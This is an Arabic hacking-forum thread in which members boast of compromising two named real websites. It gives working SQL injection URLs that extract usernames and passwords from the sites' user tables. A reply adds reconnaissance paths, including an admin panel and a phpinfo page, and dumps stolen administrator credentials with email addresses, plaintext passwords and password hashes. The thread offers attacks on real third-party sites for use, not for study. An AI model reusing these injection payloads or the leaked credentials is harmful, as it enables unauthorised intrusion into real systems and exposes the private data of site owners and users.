:: vBspiders Professional Network :: - اختراق موقعين جديــــد...

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)

- SQL قواعد البيانات (http://www.vbspiders.com/vb/forumdisplay.php?f=133)

- - اختراق موقعين جديــــد... (http://www.vbspiders.com/vb/showthread.php?t=62887)

اختراق موقعين جديــــد...

تم والحمد لله اختراق موقعين روسيين

1:

كود PHP:


		
			
http://www.digitalflywheel.com/case.php?id=-4+union select 1,2,3,4,5,6,7,8,concat_ws%280x3a,username,0x3a,password%29+from+users+limit+1,1

كود PHP:


		
			
http://www.tristihii.ru/news-view.php?ID=9999999 union select 1,2,3,4,group_concat%28username,0x3a,userpass%29+from+poll_user--

رد: اختراق موقعين جديــــد...

تسلم يا وحششششش

رد: اختراق موقعين جديــــد...

بعد اذن صاحب الموضوع بعد ماشوفت الرابط طلع صفحة في خطا ليس فيها باسبورد
***1054;***1064;***1048;***1041;***1050;***1040;

FATAL_ERROR! news.php: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' union***1042; select***1042; 1,2,3,4,group_concat(username,0x3a,userpass) from poll_user--' at line 1

بنسبة لي الموقع http://www.tristihii.ru/
بعد الفحص
تبين التالي ارجو جمع المعلومات اولا
الوحة التحكم
http://www.tristihii.ru/feedback/admin/
معلومات PHP Version 5.2.14 تفيدك كثير
http://www.tristihii.ru/phpinfo.php
http://www.tristihii.ru/icons/
http://www.tristihii.ru/robots.txt
Server: Apache
اسم القاعدة digital_dfw الجدول ssp2g_admins العمود username,password,email
النتيجة
[1] admin:dpc1s3@rch:jrigby@databasepublish.com:
[2] jbachana:biggie:joseph.bachana@databasepublish.com :
حولت ادخل لكن خطا ؟ نكمل على الموقع
اسم القاعدة digital_dfw الجدول users العمود username,password
النتيجة
[1] jbachana:e41d813551123414059fdc0d0c0eab8a:
[2] yevgeniy:e41d813551123414059fdc0d0c0eab8a:
[3] jtohfafarosh:31319e71736e81f80db023c40a2f9e85:
[4] tgardner:caf2514afe5ff1487452d38fa64e8135:
حولت فك الباسبود مافك معي ؟ على السريع
فمان الرحمن
تضامن مع الشعب السوري الحر

رد: اختراق موقعين جديــــد...

اقتباس:

المشاركة الأصلية كتبت بواسطة خالد سعودي (المشاركة 439500)

الله يحفضك اخي على المعلومات لكن انا عندي وقت طويل غايب عن الميدان ساسترجع هذه الايام ...